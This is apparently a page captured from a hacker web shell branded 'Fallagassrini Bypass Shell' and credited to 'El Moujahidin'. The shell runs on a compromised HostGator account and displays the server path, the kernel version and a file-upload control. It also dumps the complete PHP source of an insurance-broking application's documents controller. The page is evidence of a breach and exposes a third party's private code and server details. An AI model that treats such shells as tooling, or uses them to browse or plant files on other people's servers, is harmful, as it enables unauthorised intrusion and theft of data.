? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/sibs_draft/system/application/controllers/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/sibs_draft/system/application/controllers/documents.php

<?php if (!defined('BASEPATH')) exit('No direct script access allowed'); ?>
<?php

/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */

class Documents extends BaseController
{

    function Documents()
    {
        parent::BaseController();
        $this->load->model('mastermodel');
        $this->load->model('documentsmodel');
        $this->load->model('reportmodel');
        $this->load->model('settingsmodel');
        $this->load->model('customermodel');
        $this->load->model('accountingsmodel');
        $this->load->model('policiesmodel');
        $this->load->model('hrmodel');
        $this->load->library('Fpaginate');
        $this->load->helper('url');
    }

    function index($menuid = "", $modid = "")
    {
        if (empty($modid))
        {
            $data['modname'] = 'Home';
        } else
        {
            $mod_id = $this->mastermodel->get_data('modules', $modid, 'module_id', 'sort');
            foreach ($mod_id as $id)
            {
                $modname = $id['module_name'];
            }
            $data['modname'] = $modname;
        }
        if (empty($menuid))
        {
            $tart = 'index';
            $data['menuname'] = '';
        } else
        {
            $tar = $this->mastermodel->get_data('menu', $menuid, 'menu_id');

            foreach ($tar as $target)
            {
                $tart = $target['target'];

                $data['menuname'] = $target['caption'];
            }
        }

        $data['modules'] = $this->mastermodel->getdatas('modules', 'sort');

        $data['menus'] = $this->mastermodel->get_data('menu', $modid, 'module_id', 'sort');



        $this->load->view('' . $data['modname'] . '/' . $tart . '', $data);
    }

    function ajaxload($page, $table = "")
    {

        $data['viewinfo'] = $this->mastermodel->view('' . $table . '');
        // $data['country']=$this->mastermodel->getdatas('country');
        // $data['segment']=$this->mastermodel->getdatas('segment_insurances');
        $data['cover_insurance'] = $this->mastermodel->getdatas('covers');
        //$data['directory']=$this->mastermodel->getdatas('directory');

        $data['action'] = 'add';
        $this->load->view('Documents/' . $page . '', $data);
    }

    function listSearchcustomer($searchBy, $pagenum, $custname = "")
    {

        $data['per_page'] = 6;
        $data['custname'] = $custname;
        $data['searchBy'] = $searchBy;
        $data['currentpage'] = 1;

        if ($pagenum != 1)
        {
            $data['id'] = ($pagenum - 1) * $data['per_page'] + 1;
        } else
        {
            $data['id'] = 1;
        }
        $dat['viewinfo'] = $this->customermodel->ListofCustomers($custname, $searchBy, $pagenum, $data['per_page']);
        $data['MaxPage'] = $dat['viewinfo']['maxpage'];
        $data['viewinfo'] = $dat['viewinfo']['result'];
        $this->load->view('Documents/loadcustomerlist', $data);
    }

    function viewtemplate($cover_id, $template_type_id, $pagenum = 1)
    {

        $data['per_page'] = 6;

        if ($pagenum != 1)
        {
            $data['id'] = ($pagenum - 1) * $data['per_page'] + 1;
        } else
        {
            $data['id'] = 1;
        }




        $data['covername'] = $cover_id;
        $data['currentpage'] = $pagenum;

        $counts = $this->documentsmodel->count_alls('template', 'cover_id', $cover_id);
        if ($counts == 0)
        {
            $data['Maxpage'] = 1;
        } else
        {
            $data['Maxpage'] = ceil($counts / $data['per_page']);
        }



        $data['viewinfo'] = $this->documentsmodel->viewtemplate($cover_id, $template_type_id, $pagenum, $data['per_page']);
        $this->load->view('Documents/viewtemplate', $data);
    }

    function edit($page, $table, $field, $id, $plid = '')
    {

        $data['viewinfo'] = $this->mastermodel->get_data($table, $id, $field);

        $data['action'] = 'update';
        $data['id'] = $id;
        $data['plid'] = $plid;
        $this->load->view('Documents/' . $page . '', $data);
    }

    function payment($page, $table, $field, $id, $premium = "")
    {

        $data['viewinfo'] = $this->mastermodel->get_data($table, $id, $field);
        $data['methods'] = $this->mastermodel->getdatas('payment_methods');
        //$data['brokerage']=$brokerage;
        $data['action'] = 'payment';
        $data['id'] = $id;
        $this->load->view('Documents/' . $page . '', $data);
    }

    function placingslippayment()
    {
        $this->documentsmodel->placingslippaymentmodel();
        redirect('master/index/23/5');
    }

    function listSearchstaff($searchBy = "", $staffname = "")
    {


        $data['viewinfo'] = $this->hrmodel->employeelist($staffname, $searchBy);
        $this->load->view('Documents/loadstafflist', $data);
    }

    function addbrokingslip()
    {
        $this->load->library('form_validation');

        //$this->form_validation->set_rules('cover','Type Of Cover','required');
        //$this->form_validation->set_rules('business','Type Of Cover','required');
        $this->form_validation->set_rules('insured', 'Type Of Cover', 'required');
        $this->form_validation->set_rules('quotation_ref', 'Type Of Cover', 'required');

        if ($this->form_validation->run() == FALSE)
        {
            redirect('master/index/21/4');
            //$this->index('21', '4');
        } else
        {

            $res = $this->documentsmodel->addbrokingslip();
            //$this->index('21', '4');
            redirect('master/index/21/4');
            if ($res == 1)
            {
                $this->load->view('Documents/success');
            }
        }
    }

    function addplacingslip()
    {

        $this->load->library('form_validation');

        //$this->form_validation->set_rules('cover','Type Of Cover','required');
        //$this->form_validation->set_rules('business','Type Of Cover','required');
        $this->form_validation->set_rules('insured', 'Type Of Cover', 'required');
        $this->form_validation->set_rules('quotation_ref', 'Type Of Cover', 'required');

        if ($this->form_validation->run() == FALSE)
        {
            redirect('master/index/23/5');
            //  $this->index('23', '4');
        } else
        {


            $res = $this->documentsmodel->addplacingslip();
            //$this->index('21', '4');
            echo $res;
            // redirect('documents/index/23/5');
//           if($res>=1)
//           {
//           $this->load->view('Documents/success');
//           }
        }
    }

    function delete($table, $id, $menu)
    {

        $data = $this->mastermodel->check_permissions(3);
        if (!$data)
        {

            $this->index($menu, '4');
            $this->load->view('Master/nopermission');
        } else
        {

            try
            {
                $res = $this->mastermodel->deletedata($table, $id);
                ;

                if ($res != 1)
                {
                    throw new Exception("Error");
                }
                $this->index($menu, '4');
            } catch (Exception $exception)
            {

                $this->index($menu, '4');
                $this->load->view('Master/checkexist');
            }
        }
    }

    function viewquotationbrokingslip($page, $field, $id, $flag = 0)
    {
        $data['viewslip'] = $this->mastermodel->get_data_srow('broking_slip', $id, $field);
        $data['viewslip_form'] = $this->mastermodel->get_data('broking_slip_form', $id, 'broking_slip_id');
        $data['viewslip_sum_insured'] = $this->mastermodel->get_data('broking_slip_sum_insured', $id, 'broking_slip_id');
        $data['viewslip_section'] = $this->mastermodel->get_data('broking_slip_section', $id, 'broking_slip_id');
        $data['footer'] = $this->customermodel->getFooter('broking_slip', 'footer', $id);
        $data['action'] = 'view';
        $data['id'] = $id;
        $data['tablename'] = 'broking_slip_files';
        $data['fieldname'] = 'broking_slip_id';
        $data['flag'] = $flag;
        $data['company'] = $this->mastermodel->getdatas('mycompany');



        $this->load->view('Documents/' . $page . '', $data);
    }

    function viewquotationplacingslip($page, $field, $id, $flag = 0)
    {
        $data['viewpslip'] = $this->mastermodel->get_data_srow('placing_slip', $id, $field);
        $data['viewpslip_form'] = $this->mastermodel->get_data('placing_slip_form', $id, 'placing_slip_id');
        $data['viewpslip_sum_insured'] = $this->mastermodel->get_data('placing_slip_sum_insured', $id, 'placing_slip_id');
        $data['viewpslip_section'] = $this->mastermodel->get_data('placing_slip_section', $id, 'placing_slip_id');
        $data['footer'] = $this->customermodel->getFooter('placing_slip', 'footer', $id);
        $data['action'] = 'view';
        $data['id'] = $id;
        $data['tablename'] = 'placing_slip_files';
        $data['fieldname'] = 'placing_slip_id';
        $data['company'] = $this->mastermodel->getdatas('mycompany');
        $data['flag'] = $flag;

        $this->load->view('Documents/' . $page . '', $data);
    }

    function search_brokingslip($page, $seloption, $pagenum = "", $searchtext = "")
    {

        $data['perpage'] = '10';
        $searchtext = str_replace("~", " ", $searchtext);
        $searchtext = str_replace("_", "/", $searchtext);
        $data['searchoption'] = $seloption;
        $data['searchtxt'] = $searchtext;
        $data['nooflist'] = '4';
        $_SESSION['pagenum'] = $pagenum;
        $_SESSION['searchoption'] = $seloption;
        $_SESSION['searchtxt'] = $searchtext;

        $staffids = $this->mastermodel->tracestaff();


        $data['count'] = $this->documentsmodel->search_brokingslip($seloption, 'true', $staffids, $searchtext, $pagenum);

        $data['pages'] = ceil($data['count'] / $data['perpage']);
        $data['pagenum'] = $pagenum;
        if ($data['pagenum'] == 1)
            $data['id'] = 1;
        else
            $data['id'] = (($data['pagenum'] - 1) * $data['perpage']) + 1;


        $arr = $this->fpaginate->paginate($data['pagenum'], $data['pages'], $data['nooflist']);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $data['viewinfo'] = $this->documentsmodel->search_brokingslip($seloption, 'false', $staffids, $searchtext, $pagenum, $data['perpage'], $staffids);
        $this->load->view('Documents/' . $page . '', $data);
    }

    function search_placingslip($page, $seloption, $pagenum = "", $searchtext = "")
    {


        $searchtext = str_replace("~", " ", $searchtext);
        $searchtext = str_replace("_", "/", $searchtext);
        $_SESSION['pagenum'] = $pagenum;
        $_SESSION['searchoption'] = $seloption;
        $_SESSION['searchtxt'] = $searchtext;
        $data['mode'] = $searchtext;
        $data['perpage'] = '10';
        $data['searchoption'] = $seloption;
        $data['searchtxt'] = $searchtext;
        $data['nooflist'] = '4';
        $staffids = $this->mastermodel->tracestaff();
        $data['count'] = $this->documentsmodel->search_placingslip($seloption, 'true', $staffids, $searchtext);
        $data['pages'] = ceil($data['count'] / $data['perpage']);
        $data['pagenum'] = $pagenum;
        if ($data['pagenum'] == 1)
            $data['id'] = 1;
        else
            $data['id'] = (($data['pagenum'] - 1) * $data['perpage']) + 1;
        $arr = $this->fpaginate->paginate($data['pagenum'], $data['pages'], $data['nooflist']);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $data['viewinfo'] = $this->documentsmodel->search_placingslip($seloption, 'false', $staffids, $searchtext, $data['pagenum'], $data['perpage']);
        $this->load->view('Documents/' . $page . '', $data);
    }

    function editbrokingslip()
    {
        $this->load->library('form_validation');
        $this->form_validation->set_rules('insured', 'Type Of Cover', 'required');
        //$this->form_validation->set_rules('cover_id','Type Of Cover','required');
        $this->form_validation->set_rules('quotation_ref', 'Name', 'required');
        if ($this->form_validation->run() == FALSE)
        {
            redirect('master/index/21/4');
        } else
        {

            $res = $this->documentsmodel->updatebrokingslip();
            // $this->index('12', '3');
            redirect('master/index/21/4');
        }
    }

    function editplacingslip()
    {

        $this->load->library('form_validation');


        $this->form_validation->set_rules('insured', 'Type Of Cover', 'required');
        $this->form_validation->set_rules('quotation_ref', 'Type Of Cover', 'required');

        if ($this->form_validation->run() == FALSE)
        {
            redirect('master/index/23/5');
        } else
        {


            $res = $this->documentsmodel->updateplacingslip();
            echo $res;
        }
    }

    function insertplacingslippayment()
    {
        $res = $this->documentsmodel->insertplacingslippayment();
        redirect('master/index/23/5');
    }

    function insertbrokstatus()
    {
        $this->documentsmodel->insertbrokstatus();
    }

    function insertplacstatus()
    {
        $this->documentsmodel->insertplacstatus();
    }

    function showstatus($page, $id)
    {
        $data['id'] = $id;
        $this->load->view('Documents/' . $page . '', $data);
    }

    function savestatus()
    {
        $this->documentsmodel->updatebrokstatus();
    }

    function savepstatus()
    {
        $this->documentsmodel->updateplacstatus();
    }

    function editstatus($page, $table, $field, $id, $brid = "")
    {

        $data['viewstatus'] = $this->mastermodel->get_data($table, $id, $field);

        //$data['action']='update';
        if (!empty($brid))
        {
            $data['id'] = $brid;
        } else
        {
            $data['id'] = $id;
        }
        $data['lis'] = $id;
        $this->load->view('Documents/' . $page . '', $data);
    }

    function updatebrokingslipstatus()
    {
        $this->documentsmodel->updatebrokingslipstatus();
    }

    function updateplacingslipstatus()
    {
        $this->documentsmodel->updateplacingslipstatus();
    }

    function deletepay($id)
    {
        $this->mastermodel->deletedata('placing_slip_payamount', $id);
        $this->documentsmodel->deletepsliptabledata('placing_slip_bank', $id);
        $this->documentsmodel->deletepsliptabledata('placing_slip_netbankdetails', $id);
        return $this;
    }

    function editpay()
    {

        $this->documentsmodel->editdata_pslip('placing_slip_payamount');
        return $this;
    }

    function getedit($tablename, $id)
    {

        if ($tablename == 'bank')
        {
            $data['paymode'] = 'bank';
            $table = 'placing_slip_bank';
            $data['paymentmodedetails'] = $this->mastermodel->get_data_srow($table, $id, 'payment_id');
        } else if ($tablename == 'netbank')
        {
            $data['paymode'] = 'netbank';
            $table = 'placing_slip_netbankdetails';
            $data['paymentmodedetails'] = $this->mastermodel->get_data_srow($table, $id, 'payment_id');
        } else
        {
            $data['paymode'] = 'cash';
        }
        $data['methods'] = $this->mastermodel->getdatas('payment_methods');
        $this->load->view('Documents/temp_paymode', $data);
    }

    function pdfquotationbrokingslip($page, $field, $id)
    {

        $this->load->plugin('to_pdf');
        $data['viewslip'] = $this->mastermodel->get_data_srow('broking_slip', $id, $field);
        $data['viewslip_form'] = $this->mastermodel->get_data('broking_slip_form', $id, 'broking_slip_id');
        $data['viewslip_sum_insured'] = $this->mastermodel->get_data('broking_slip_sum_insured', $id, 'broking_slip_id');
        $data['viewslip_section'] = $this->mastermodel->get_data('broking_slip_section', $id, 'broking_slip_id');
        $data['footer'] = $this->customermodel->getFooter('broking_slip', 'footer', $id);
        $data['action'] = 'pdf';
        $data['id'] = $id;
        $data['company'] = $this->mastermodel->getdatas('mycompany');
        $this->load->view('Documents/' . $page . '', $data);
    }

    function ckedit($page, $field, $id)
    {
        $data['viewslip'] = $this->mastermodel->get_data_srow('broking_slip', $id, $field);
        $data['viewslip_form'] = $this->mastermodel->get_data('broking_slip_form', $id, 'broking_slip_id');
        $data['viewslip_sum_insured'] = $this->mastermodel->get_data('broking_slip_sum_insured', $id, 'broking_slip_id');
        $data['viewslip_section'] = $this->mastermodel->get_data('broking_slip_section', $id, 'broking_slip_id');

        $data['action'] = 'pdf';
        $data['id'] = $id;


        $this->load->view('Documents/' . $page . '', $data);
    }

    function pdfquotationplacingslip($page, $field, $id)
    {
        $this->load->plugin('to_pdf');
        $data['viewpslip'] = $this->mastermodel->get_data_srow('placing_slip', $id, $field);
        $data['viewpslip_form'] = $this->mastermodel->get_data('placing_slip_form', $id, 'placing_slip_id');
        $data['viewpslip_sum_insured'] = $this->mastermodel->get_data('placing_slip_sum_insured', $id, 'placing_slip_id');
        $data['viewpslip_section'] = $this->mastermodel->get_data('placing_slip_section', $id, 'placing_slip_id');
        $data['footer'] = $this->customermodel->getFooter('placing_slip', 'footer', $id);
        $data['action'] = 'pdf';
        $data['id'] = $id;
        $data['company'] = $this->mastermodel->getdatas('mycompany');


        $this->load->view('Documents/' . $page . '', $data);
    }

    function tracepath($tempid)
    {
        $plocation = "";
        while ($tempid != 1)
        {
            $directname = $this->mastermodel->get_data_srow('sub_directory', $tempid, 'id');

            $diName = $directname->subdirname;
            $tempid = $directname->parentdir;
            $plocation = $diName . '/' . $plocation;
        }
        return $plocation;
    }

    function tracepathcomp($tempid)
    {
        $plocation = "";
        while ($tempid != 1)
        {
            $directname = $this->mastermodel->get_data_srow('sub_directory', $tempid, 'id');
            $diName = $directname->id;
            $tempid = $directname->parentdir;
            $plocation = $diName . '/' . $plocation;
        }
        return $plocation;
    }

    function getfolderlistcompany($page, $table, $field, $parentid = "", $companyid = "")
    {
        $data['folderlist'] = $this->mastermodel->getfolderlistmodel($parentid, $companyid);
        if ($parentid == "")
        {
            $parentid = '0';
        }
        $data['parid'] = $this->customermodel->getSingleFieldValue('sub_directory', 'parentdir', 'id', $parentid);

        $data['folderpath'] = $this->tracepath($parentid);
        $data['companyid'] = $companyid;
        $data['tablename'] = $table;
        $data['fieldname'] = $field;
        $data['viewinsurance_files'] = $this->mastermodel->get_data_scoloumn($table, $companyid, $field, 'fileid');
        $data['showfilesinview'] = $this->mastermodel->showfilesinview($table, $companyid, $field, 'fileid');
        $data['viewfiles'] = $this->mastermodel->get_data($table, $companyid, $field);
        $this->load->view('Master/' . $page . '', $data);
    }

    function getfoldereditlistcompany($page, $table, $field, $parentid = "", $companyid = "")
    {

        $data['folderlist'] = $this->mastermodel->getfolderlistmodel('default', $companyid);
        //
        if ($parentid == "")
        {
            $parentid = '0';
        }
        $data['parid'] = $this->customermodel->getSingleFieldValue('sub_directory', 'parentdir', 'id', $parentid);
        $data['viewinsurance_files'] = $this->mastermodel->get_data_scoloumn($table, $companyid, $field, 'fileid');
        $count = count($data['viewinsurance_files']);

        for ($j = 0; $j < $count; $j++)
        {
            //  echo "hhh";
            $data['new'][$j] = $this->tracepathcomp($data['viewinsurance_files'][$j]['fileid']);
        }
        $data['count'] = $count;
        $data['companyid'] = $companyid;
        $data['tablename1'] = $table;
        $data['fieldname1'] = $field;
        $data['folderpath'] = $this->tracepath($parentid);
        $data['viewfiles'] = $this->mastermodel->get_data($table, $companyid, $field);
        $this->load->view('Master/' . $page . '', $data);
    }

    function viewquotation($pageno = 1, $field, $value = "")
    {

        $value = str_replace("~", " ", $value);
        $value = str_replace("_", "/", $value);

        if ($field == 'date')
        {
            $value = $this->mastermodel->convdatformat($value);
        }

        $_SESSION['pagenum'] = $pageno;
        $_SESSION['searchoption'] = $field;
        $_SESSION['searchtxt'] = $value;
        $data['quotationlist'] = $this->documentsmodel->Getquotation($pageno, $field, $value);
        $data['currpage'] = $pageno;
        $data['field'] = $field;
        $data['text'] = $value;
        $data['totrecord'] = $this->documentsmodel->count_allquotation('quotation', $field, $value);

        $this->load->view('Documents/viewquotation', $data);
    }

    function addquotation()
    {
        $this->load->view('Documents/addquotation');
    }

    function brokingdetails($id)
    {
        $data['details'] = $this->mastermodel->get_data('broking_slip', $id, 'id');
        // var_dump($data['details']);
        $this->load->view('Documents/loadbroslip', $data);
    }

    function insertquotation()
    {

        $res = $this->documentsmodel->addquotation();
        //$this->index('21', '4');
        redirect('master/index/85/4');
        if ($res == 1)
        {
            $this->load->view('Documents/success');
        }
    }

    function editquotation($id)
    {

        $id1 = $this->customermodel->getSingleFieldValue('quotation', 'brokingslip', 'id', $id);
        $data['dates'] = $this->customermodel->getSingleFieldValue('quotation', 'date', 'id', $id);
        $data['details'] = $this->mastermodel->get_data('broking_slip', $id1, 'id');
        $data['id'] = $id;
        $this->load->view('Documents/editquotation', $data);
    }

    function singlequotation($id, $flag = 0)
    {

        $id1 = $this->customermodel->getSingleFieldValue('quotation', 'brokingslip', 'id', $id);
        $data['dates'] = $this->customermodel->getSingleFieldValue('quotation', 'date', 'id', $id);
        $data['details'] = $this->mastermodel->get_data('broking_slip', $id1, 'id');
        $data['id'] = $id;
        $data['tablename'] = 'quotation_files';
        $data['fieldname'] = 'quotationid';
        $data['flag'] = $flag;
        $this->load->view('Documents/singlequotation', $data);
    }

    function edit_quotation()
    {


        $res = $this->documentsmodel->updatequotation('quotation');
        redirect('master/index/85/4');
        // $this->index('28', '5');
        if ($res == 1)
        {
            $this->load->view('Documents/success');
        }
    }

    function deletequotation($table, $id)
    {
        $res = $this->mastermodel->deletedata($table, $id);
        ;
    }

    function adddatasheet()
    {
        $data['segment'] = $this->mastermodel->getdatas('segment_insurances');
        $this->load->view('Documents/adddatasheet', $data);
    }

    function insertdatasheet()
    {

        $res = $this->documentsmodel->adddatasheet();
        //$this->index('21', '4');
        redirect('master/index/84/4');
        if ($res == 1)
        {
            $this->load->view('Documents/success');
        }
    }

    function viewdatasheet($pageno = 1, $field, $value = "")
    {

        $value = str_replace("~", " ", $value);
        $value = str_replace("_", "/", $value);

        if ($field == 'date')
        {
            $value = $this->mastermodel->convdatformat($value);
        }
        $_SESSION['pagenum'] = $pageno;
        $_SESSION['searchoption'] = $field;
        $_SESSION['searchtxt'] = $value;
        $data['datasheetlist'] = $this->documentsmodel->Getdatasheet($pageno, $field, $value);
        $data['currpage'] = $pageno;
        $data['field'] = $field;
        $data['text'] = $value;
        $data['totrecord'] = $this->documentsmodel->count_allds('datasheet', $field, $value);

        $this->load->view('Documents/viewdatasheet', $data);
    }

    function editdatasheet($id)
    {


        $data['details'] = $this->documentsmodel->get_datasheet_data($id);
        $data['id'] = $id;
        $data['segment'] = $this->mastermodel->getdatas('segment_insurances');
        $this->load->view('Documents/editdatasheet', $data);
    }

    function edit_datasheet()
    {


        $res = $this->documentsmodel->updatedatasheet('datasheet');
        redirect('master/index/84/4');
        // $this->index('28', '5');
        if ($res == 1)
        {
            $this->load->view('Documents/success');
        }
    }

    function singledatasheet($id)
    {
        $data['details'] = $this->documentsmodel->get_datasheet_data($id);
        $data['id'] = $id;

        $data['tablename'] = 'datasheet_files';
        $data['fieldname'] = 'datasheet_id';
        $this->load->view('Documents/singledatasheet', $data);
    }

    function credit_ps($id, $trtype, $qid, $refid = "")
    {

        $this->load->plugin('to_pdf');
        if (!empty($refid))
            $data['reference'] = $this->customermodel->getSingleFieldValue('refs', 'reference', 'id', $refid);
        else
            $data['reference'] = "";


        $data['trtype'] = $trtype;
        if ($trtype == 'endorsement')
        {
            $data['credit'] = $this->documentsmodel->getendorsementdebitcredit($qid, $id);
            if ($data['credit'][0]['mode'] == 'Deduction')
            {
                $pay_method = $this->customermodel->getSingleFieldValue('endorsement', 'paymentoptions', 'id', $qid);
                if ($pay_method == 'credit') {
                    $page = 'endorsement_credit';
                } else {
                    $page = 'endorsement_inscompany_credit';

                }
            } else
            {
                $page = 'placingslip_credit';
            }
        } else if ($trtype == 'cancellation')
        {
            $data['credit'] = $this->documentsmodel->getcancellationdebitcredit($qid, $id);
            $page = 'cancellation_credit';
        } else if ($trtype == 'issue')
        {
            $data['credit'] = $this->documentsmodel->get_debitdata($id);
            $page = 'placingslip_credit';
        } else
        {
            $data['credit'] = $this->documentsmodel->get_declarationdebit($id);
            $page = 'placingslip_credit';
        }
        $data['creditstakeholder'] = $this->documentsmodel->credit_stakeholder($id);
        $data['countstake'] = $this->documentsmodel->count_credit_stakeholder($id);


        $data['company'] = $this->mastermodel->getdatas('mycompany');



        $data['id'] = $id;

        $this->load->view('Documents/' . $page . '', $data);
    }

    function debit_ps($id, $trtype, $qid, $refid = "")
    {

        $this->load->plugin('to_pdf');
        if (!empty($refid))
            $data['reference'] = $this->customermodel->getSingleFieldValue('refs', 'reference', 'id', $refid);
        else
            $data['reference'] = "";

        $data['trtype'] = $trtype;
        if ($trtype == 'endorsement')
        {
            $data['debit'] = $this->documentsmodel->getendorsementdebitcredit($qid, $id);

            if ($data['debit'][0]['mode'] == 'Deduction')
            {
                $page = 'cancellation_debit';
            } 
            else
            {
                $pay_method = $this->customermodel->getSingleFieldValue('endorsement', 'paymentoptions', 'id', $qid);
                if ($pay_method == 'credit') {
                    $page = 'placingslip_debit';
                } else {
                    $page = 'placingslip_inscompany_debit';

                }
            }
        } else if ($trtype == 'cancellation')
        {
            $data['debit'] = $this->documentsmodel->getcancellationdebitcredit($qid, $id);
            $page = 'cancellation_debit';
        } else if ($trtype == 'issue')
        {
            $data['debit'] = $this->documentsmodel->get_debitdata($id);
            $pay_method = $this->customermodel->getSingleFieldValue('placing_slip_premiumdetails', 'payment_method', 'placing_slip_id', $id);
            if ($pay_method == 'credit') {
                $page = 'placingslip_debit';
            } else {
                $page = 'placingslip_inscompany_debit';
                
            }
        } else
        {
            $data['debit'] = $this->documentsmodel->get_declarationdebit($id);
            $page = 'placingslip_debit';
        }
        $data['company'] = $this->mastermodel->getdatas('mycompany');
        $data['creditstakeholder'] = $this->documentsmodel->credit_stakeholder($id);
        $data['countstake'] = $this->documentsmodel->count_credit_stakeholder($id);


        $data['id'] = $id;

        $this->load->view('Documents/' . $page . '', $data);
    }

    function credit_existss($id)
    {
        $data = $this->documentsmodel->count_credit_stakeholder($id);
        echo $data;
    }

    function broke_exist($bid)
    {
        $res = $this->documentsmodel->broke_exist($bid);
    }

    function search_debitnote($seloption, $pagenum = "", $searchtext = "")
    {
        $searchtext = str_replace("~", " ", $searchtext);
        $searchtext = str_replace("_", "/", $searchtext);
        $data['perpage'] = '10';
        $data['searchoption'] = $seloption;
        $data['searchtxt'] = $searchtext;
        $data['nooflist'] = '4';
        $data['count'] = $this->documentsmodel->search_debitnote('true', $seloption, $searchtext);

        $data['pages'] = ceil($data['count'] / $data['perpage']);
        $data['pagenum'] = $pagenum;
        if ($data['pagenum'] == 1)
            $data['id'] = 1;
        else
            $data['id'] = (($data['pagenum'] - 1) * $data['perpage']) + 1;
        $arr = $this->fpaginate->paginate($data['pagenum'], $data['pages'], $data['nooflist']);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];

        $data['viewinfo'] = $this->documentsmodel->search_debitnote('false', $seloption, $searchtext, $data['pagenum'], $data['perpage']);
        $this->load->view('Documents/viewplacingslip_debit', $data);
    }

    function search_creditnote($seloption, $pagenum = "", $searchtext = "")
    {
        $searchtext = str_replace("~", " ", $searchtext);
        $searchtext = str_replace("_", "/", $searchtext);
        $data['perpage'] = '10';
        $data['searchoption'] = $seloption;
        $data['searchtxt'] = $searchtext;
        $data['nooflist'] = '4';
        $data['count'] = $this->documentsmodel->search_creditnote('true', $seloption, $searchtext);

        $data['pages'] = ceil($data['count'] / $data['perpage']);
        $data['pagenum'] = $pagenum;
        if ($data['pagenum'] == 1)
            $data['id'] = 1;
        else
            $data['id'] = (($data['pagenum'] - 1) * $data['perpage']) + 1;
        $arr = $this->fpaginate->paginate($data['pagenum'], $data['pages'], $data['nooflist']);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];

        $data['viewinfo'] = $this->documentsmodel->search_creditnote('false', $seloption, $searchtext, $data['pagenum'], $data['perpage']);
        $this->load->view('Documents/viewplacingslip_credit', $data);
    }

    function glsumamount($id)
    {
        $data = $this->documentsmodel->sumamountgl($id);
        echo $data;
    }

    function checktemplateexist($coverid)
    {
        $data = $this->documentsmodel->checktemplateexist($coverid);
        echo $data;
    }

    function findcustomerbycode($code)
    {
        $data = $this->documentsmodel->findcustomerbycode($code);
        echo $data;
    }

    function checkbrokingslipexist($code)
    {
        $code = str_replace("~", "/", $code);
        $data = $this->documentsmodel->checkbrokingslipexist($code);
        echo $data;
    }

    function loadcovertypedet($coverid)
    {
        $data = $this->mastermodel->get_data_srow('covers', $coverid, 'id');

        echo "<table class='sort'><tr><th colspan='2'>Cover Detail</th></tr><tr><td>Cover Type</td><td>" . $data->cover . "</td></tr></table>";
    }

}

/* End of file welcome.php */
/* Location: ./system/application/controllers/welcome.php */

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net